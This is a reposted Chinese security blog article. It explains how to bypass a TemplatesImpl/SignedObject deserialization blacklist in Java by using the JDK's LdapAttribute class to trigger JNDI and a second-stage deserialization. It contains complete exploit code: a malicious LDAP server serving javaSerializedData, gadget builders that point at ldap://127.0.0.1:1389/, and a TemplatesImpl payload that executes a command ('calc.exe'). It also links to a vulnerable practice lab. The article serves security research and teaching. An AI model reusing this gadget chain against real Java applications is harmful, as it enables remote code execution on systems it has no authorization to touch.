使用JDK类绕过TemplatesImpl黑名单

admin 2026-03-27 13:12:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一种通过JDK类绕过TemplatesImpl黑名单的方法。作者在挖掘过程中发现,虽然TemplatesImpl被加入了黑名单,但可以利用其resolveClass方法在内部进行反序列化操作,从而绕过外部限制。文章详细分析了LdapAttribute类中的getAttributeDefinition和getBaseCtx方法如何触发JNDI注入,并最终导致二次反序列化,实现远程代码执行(RCE)。该方法适用于从低版本到高版本的多个JDK版本。 综合评分: 85 文章分类: 渗透测试,红队,WEB安全,恶意软件,安全开发


cover_image

使用JDK类绕过TemplatesImpl黑名单

原创

Y4Sec Team Y4Sec Team

4ra1n

2023年9月10日 13:28 浙江

0x00 介绍

一次挖洞过程中,遇到了 TemplatesImpl resolveClass 黑名单,后来想起 RWCTF 中的一道题目,成功绕过该黑名单。于是和大家分享这个思路,并编写了对应的环境和靶机,希望大家可以有所收获

这个黑名单内容如下

private static final List<Object> BLACKLIST = Arrays.asList(        "java.security.SignedObject",        "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet",        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",        "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");

可以看到 SignedObject 也加入了黑名单中,在先知中已有文章说明如果通过 SignedObject#getObject 方法进行二次反序列化

0x01 分析

TemplatesImpl 链是一般调用栈如下

-> getOutputProperties-> newTransformer->&nbsp;getTransletInstance-> defineTransletClasses-> defineClass

调用 getter 后最终调用 defineClass 加载了反射设置的 _bytecodes

最常见的两个链,底层都是TemplateImpl

(1)CB 链 – 最新版的 CB 链仍然能够利用,实战价值较大

(2)Jackson 链 – 能打 SpringBoot 默认原生反序列化的链

以 CB 链为例,调用 getOutputProperties 方法的过程如下:BeanComparator 类 compare 方法调用已设置属性的 getter 方法,当对象位 TemplateImpl 且属性是 outputProperties 时完成整个链

getOutputProperties:507,&nbsp;TemplatesImpl&nbsp;(com.sun.org.apache.xalan.internal.xsltc.trax)// ...getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)getProperty:464, PropertyUtils (org.apache.commons.beanutils)compare:163,&nbsp;BeanComparator&nbsp;(org.apache.commons.beanutils)

不难看出,这里只要是一个 getter 触发点即可

BeanComparator#compare -> AnyObject#getAny-> RCE

再来看 Jackson POJONode 原生链

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)//&nbsp;...serialize:115,&nbsp;POJONode&nbsp;(com.fasterxml.jackson.databind.node)// ...writeValueAsString:1140, ObjectWriter (com.fasterxml.jackson.databind)//&nbsp;...nodeToString:34, InternalNodeMapper (com.fasterxml.jackson.databind.node)toString:68, BaseJsonNode (com.fasterxml.jackson.databind.node)readObject:86,&nbsp;BadAttributeValueExpException&nbsp;(javax.management)

POJONode 父类 BaseJsonNode 包含 toString 方法,通过 Bad…Exception 触发。在 Jackson 中把对象序列化到 JSON 字符串的方法是 ObjectMapper#writeValueAsString

在 POJONode 的 serialize 方法中,如果目标类型不是 JsonSerializable 将会进入 defaultSerializaValue 方法

最终在 BeanSerializerBase#serializeFields 中遍历所有属性,反射调用其 getter 方法

可以看出,无论 CB 还是 Jackson 原生链,底层逻辑一致:寻找一个可以导致 RCE 的 getter 方法和类即可

0x02 寻找类

寻找一个可以导致 RCE 的 getter 方法和类

能想到比较有可能思路大概有:getConnection -> ctx.lookup -> JNDI

遗憾这种思路可能存在于第三方库中,在 JDK 中找不到符合的

在 RWCTF 中,出题师傅发现 com.sun.jndi.ldap.LdapAttribute 类存在 getter 可以导致 JNDI 注入,这个类从低版本 JDK 到 8 都适用

该类中存在两处 getter 可以调用传统的 ctx.lookup 方法

然而这两个方法的 lookup 内容并不完全可控,因此无法利用

这里利用的是 java.naming.provider.url 属性,通过 getBaseCtx 方法设置 JNDI 的环境属性,再通过 getAttributeDefinition 调用 c_lookup

而漏洞的出发点,还在 getAttributeDefinition 方法中,但不再是 lookup 方法,而是 getBaseCtx 后通过 getSchema 触发

在 LdapCtxFactory 的 getInitialContext 方法中,读取了 JDNI Env 设置的 java.naming.provider.url 属性

在getUsingURLs 方法,一步步进入 LdapCtx 构造方法,通过 socket 与原创 LDAP 服务端建立了连接

在 getSchema 方法时,可以进入 LdapCtx#c_lookup 方法

c_lookup:1017, LdapCtx (com.sun.jndi.ldap)c_resolveIntermediate_nns:168, ComponentContext (com.sun.jndi.toolkit.ctx)c_resolveIntermediate_nns:359, AtomicContext (com.sun.jndi.toolkit.ctx)p_resolveIntermediate:397, ComponentContext (com.sun.jndi.toolkit.ctx)p_getSchema:432, ComponentDirContext (com.sun.jndi.toolkit.ctx)getSchema:422, PartialCompositeDirContext (com.sun.jndi.toolkit.ctx)getSchema:210, InitialDirContext (javax.naming.directory)getAttributeDefinition:207,&nbsp;LdapAttribute&nbsp;(com.sun.jndi.ldap)

当 LDAP Server 返回的 javaClassName 不为空时进入 decodeObject

当 javaSerializedData 数据不为空时,进入反序列化对象的方法

最终可以再次触发反序列化

另外,普通的 ctx.lookup 触发的点也是 c_lookup(调用栈如下)

c_lookup:1017, LdapCtx (com.sun.jndi.ldap)p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)lookup:94, ldapURLContext (com.sun.jndi.url.ldap)lookup:417,&nbsp;InitialContext&nbsp;(javax.naming)

总结:LdapAttribute 这条链如下

LdapAttribute # getAttributeDefinition   this.getBaseCtx()LdapAttribute&nbsp;#&nbsp;getBaseCtx&nbsp;&nbsp;this.baseCtxEnv.put("java.naming.provider.url",&nbsp;this.baseCtxURL);&nbsp;&nbsp;this.baseCtx&nbsp;=&nbsp;new&nbsp;InitialDirContext(this.baseCtxEnv);LdapAttribute # getAttributeDefinition&nbsp;&nbsp;baseCtx.getSchema(this.rdn)LdapCtx&nbsp;#&nbsp;c_lookupObj&nbsp;#&nbsp;deserializeObject

该绕过不仅可以在低版本 JDK 复现,在高版本 JDK 中也适用

0x03 复现

在复现之前,存在最后一个问题,为什么可以绕过黑名单

resolveClass 方法的作用是根据类的名称获取对应的 Class 对象,并通过类加载器加载该类。重写 resolveClass 方法的作用范围是使用了该 ObjectInputStream 类进行 readObject 操作时。不会影响到其他 ObjectInputStream 的 readObject 操作

简单来说,外层的黑名单不负责内部 readObject 操作的安全

new ObjectInputStream(        new ByteArrayInputStream(byteArrayOutputStream.toByteArray())) {    @Override    protected Class<?> resolveClass(ObjectStreamClass desc)            throws IOException, ClassNotFoundException {        System.out.println(desc.getName());        return super.resolveClass(desc);    }}.readObject();

一次反序列化经过 resolveClass 的所有类如下

javax.management.BadAttributeValueExpExceptionjava.lang.Exceptionjava.lang.Throwable[Ljava.lang.StackTraceElement;java.lang.StackTraceElementjava.util.Collections$UnmodifiableListjava.util.Collections$UnmodifiableCollectionjava.util.ArrayListcom.fasterxml.jackson.databind.node.POJONodecom.fasterxml.jackson.databind.node.ValueNodecom.fasterxml.jackson.databind.node.BaseJsonNodecom.sun.jndi.ldap.LdapAttributejavax.naming.directory.BasicAttributejavax.naming.CompositeName

如果想要复现这个绕过,我们需要自行写一个 LdapServer

public class LDAPServer {    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] args) {        int port = 1389;        try {            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);            config.setListenerConfigs(new InMemoryListenerConfig(                    "listen",                    InetAddress.getByName("0.0.0.0"),                    port,                    ServerSocketFactory.getDefault(),                    SocketFactory.getDefault(),                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor());            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);            System.out.println("Listening on 0.0.0.0:" + port);            ds.startListening();        } catch (Exception e) {            e.printStackTrace();        }    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {        @Override        public void processSearchResult(InMemoryInterceptedSearchResult result) {            String base = result.getRequest().getBaseDN();
            Entry entry = new Entry(base);            entry.addAttribute("javaClassName", "Y4Sec");            try {                entry.addAttribute("javaSerializedData", JacksonTemplatePayload.getData());                result.sendSearchEntry(entry);                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));                System.out.println("Send javaSerializedData");            } catch (Exception e) {                e.printStackTrace();            }        }    }}

构建链的部分代码,替换了 getter 部分即可

public static void main(String[] args) throws Exception {    CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");    ctClass.removeMethod(writeReplace);    ctClass.toClass();
    POJONode node = new POJONode(getGadgetObj());    BadAttributeValueExpException val = new BadAttributeValueExpException(null);    Field valfield = val.getClass().getDeclaredField("val");    valfield.setAccessible(true);    valfield.set(val, node);    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();    ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);    oos.writeObject(val);&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(new&nbsp;String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
public static BasicAttribute getGadgetObj() {    try {        Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");        Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});        clazz_cons.setAccessible(true);        BasicAttribute la = (BasicAttribute) clazz_cons.newInstance(new Object[]{"exp"});        Field bcu_fi = clazz.getDeclaredField("baseCtxURL");        bcu_fi.setAccessible(true);        bcu_fi.set(la, "ldap://127.0.0.1:1389/");        CompositeName cn = new CompositeName();        cn.add("a");        cn.add("b");        Field rdn_fi = clazz.getDeclaredField("rdn");        rdn_fi.setAccessible(true);        rdn_fi.set(la, cn);        return la;    } catch (Exception e) {        e.printStackTrace();    }    return null;}

在 LdapServer 中使用正常的 Jackson TemplatesImpl Gadget

该例子中 SignedObject 已经拉黑,该类也可以结合 POJONode 来利用(如果目标拉黑 TemplatesImpl 但是没拉黑 SignedObject 适用)

public static void main(String[] args) throws Exception {    List<Object> list = new ArrayList<>();
    ClassPool pool = ClassPool.getDefault();    CtClass ctClass = pool.makeClass("a");    CtClass superClass = pool.get(AbstractTranslet.class.getName());    ctClass.setSuperclass(superClass);    CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
    constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");    ctClass.addConstructor(constructor);    byte[] bytes = ctClass.toBytecode();    TemplatesImpl templatesImpl = new TemplatesImpl();    setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});    setFieldValue(templatesImpl, "_name", "y4sec");    setFieldValue(templatesImpl, "_tfactory", null);
    ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");    CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");    ctClass.removeMethod(writeReplace);    ctClass.toClass();
    POJONode jsonNodes = new POJONode(templatesImpl);
    BadAttributeValueExpException exp = new BadAttributeValueExpException(null);    Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");    val.setAccessible(true);    val.set(exp, jsonNodes);
    list.add(exp);
    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");    kpg.initialize(1024);    KeyPair kp = kpg.generateKeyPair();    SignedObject signedObject = new SignedObject((Serializable) list, kp.getPrivate(),            Signature.getInstance("DSA"));
    POJONode jsonNodes1 = new POJONode(signedObject);
    BadAttributeValueExpException exp1 = new BadAttributeValueExpException(null);    val.set(exp1, jsonNodes1);
    ByteArrayOutputStream barr = new ByteArrayOutputStream();    ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);    objectOutputStream.writeObject(exp1);    FileOutputStream fout = new FileOutputStream("1.ser");    fout.write(barr.toByteArray());    fout.close();
    System.out.println(serial(exp1));}

0x04 靶场环境

对于这个问题,我编写了一个靶场,包含了一个 SpringBoot 应用,生成 Gadget 类和 LdapServer 辅助类

完整代码位于

https://github.com/Y4Sec-Team/no-templates

启动 NoTemplatesApplication 应用,使用 JacksonTemplatePayload 类生成普通 TemplatesImpl 链测试,报错该类位于黑名单

使用 SignedObject 二次反序列化绕黑名单同样报错

启动 LdapServer 后使用 JacksonLdapAttrPayload 生成 Payload 测试

成功弹出计算器


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:4ra1n Y4Sec Team Y4Sec Team《使用JDK类绕过TemplatesImpl黑名单》

JDBCAttackURL绕过合集 网络安全文章

JDBCAttackURL绕过合集

文章总结: 本文是关于JDBC攻击中URL绕过技巧的合集,主要针对MySQL驱动。文章通过类似挑战关卡的模式,从简单到复杂地介绍了多种绕过对autoDeseri
评论:0   参与:  0